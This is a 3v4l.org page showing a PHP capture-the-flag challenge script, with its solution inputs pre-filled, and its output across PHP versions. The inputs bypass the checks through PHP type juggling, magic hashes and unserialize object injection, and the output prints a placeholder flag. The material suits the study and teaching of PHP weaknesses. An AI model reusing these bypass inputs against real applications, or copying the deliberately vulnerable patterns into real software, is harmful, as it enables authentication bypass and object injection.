3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $_GET[1] = 'P1'; $_GET[2] = '10932435112'; $_GET[3] = '2000e3'; $_GET[4] = '2e6'; $_GET[5] = 'aa'; $_GET[6] = '13337.0'; $_GET[7] = '2'; $_GET[8] = 'MTExMjYyNzgxOA'; $_GET[9] = '9aaaaaaaab'; $_GET[10] = '1aaaaaaaaa'; $_GET[11] = 'O:4:"Flag":0:{}'; define('FLAG', 'DCTF{try harder}'); define('P2','Password147186970!'); define('P3', 2000000); $arg = 'D'; $init = ( ( $arg == 'D' ) ? 'w' : ( $arg == '-' ) ? 't' : ( $arg == 'C' ) ? 'f' : ( $arg == 'T' ) ? 'm' : ( $arg == 'F' ) ? 'a' : 'n' ); if(isset($_GET[6]) && !is_array($_GET[6]) && strlen($_GET[6]) === 7 && '13337' == $_GET[6] && isset($_GET[7]) && !is_array($_GET[7]) && strlen($_GET[7]) === 1 && '2.0' == $_GET[7] && isset($_GET[8]) && !is_array($_GET[8]) && isset($_GET[9]) && !is_array($_GET[9]) && strlen($_GET[9]) === 10 && isset($_GET[10]) && !is_array($_GET[10]) && strlen($_GET[10]) === 10 && $_GET[9] + $_GET[10] === 10) { if(isset($_GET[1]) && strcmp($_GET[1], P1) == 0) { if(isset($_GET[2]) && !is_array($_GET[2]) && sha1(intval($_GET[2])) == md5(P2)) { if(isset($_GET[3]) && !is_array($_GET[3]) && strlen($_GET[3]) === 6 && isset($_GET[4]) && !is_array($_GET[4]) && strlen($_GET[4]) === 3 && $_GET[3] == $_GET[4] && $_GET[3] == P3 && $_GET[4] == P3) { if(isset($_GET[5]) && !is_array($_GET[5]) && strlen($_GET[5]) === 2 && 31337 > $_GET[5]) { $hash = md5(str_repeat($init, 3) . base64_decode($_GET[8]). str_repeat($init,3)); if($hash == "0"){ $uh = unserialize($_GET[11]); die($uh); } } } } } } class Flag { public function __toString() { return 'Flag: '.FLAG; } }
based on WfSqC
Output for 7.2.0
Notice: A non well formed numeric value encountered in /in/ar1jo on line 32 Notice: A non well formed numeric value encountered in /in/ar1jo on line 32 Warning: Use of undefined constant P1 - assumed 'P1' (this will throw an Error in a future version of PHP) in /in/ar1jo on line 33 Flag: DCTF{try harder}
Output for 7.1.0 - 7.1.10
Notice: A non well formed numeric value encountered in /in/ar1jo on line 32 Notice: A non well formed numeric value encountered in /in/ar1jo on line 32 Notice: Use of undefined constant P1 - assumed 'P1' in /in/ar1jo on line 33 Flag: DCTF{try harder}
Output for 5.2.0 - 7.0.20
Notice: Use of undefined constant P1 - assumed 'P1' in /in/ar1jo on line 33 Flag: DCTF{try harder}
Output for 5.0.0 - 5.1.6
Notice: Use of undefined constant P1 - assumed 'P1' in /in/ar1jo on line 33 Object id #1
Output for 4.4.2 - 4.4.9
Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/ar1jo on line 55
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.4.1
Parse error: parse error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/ar1jo on line 55
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' in /in/ar1jo on line 55
Process exited with code 255.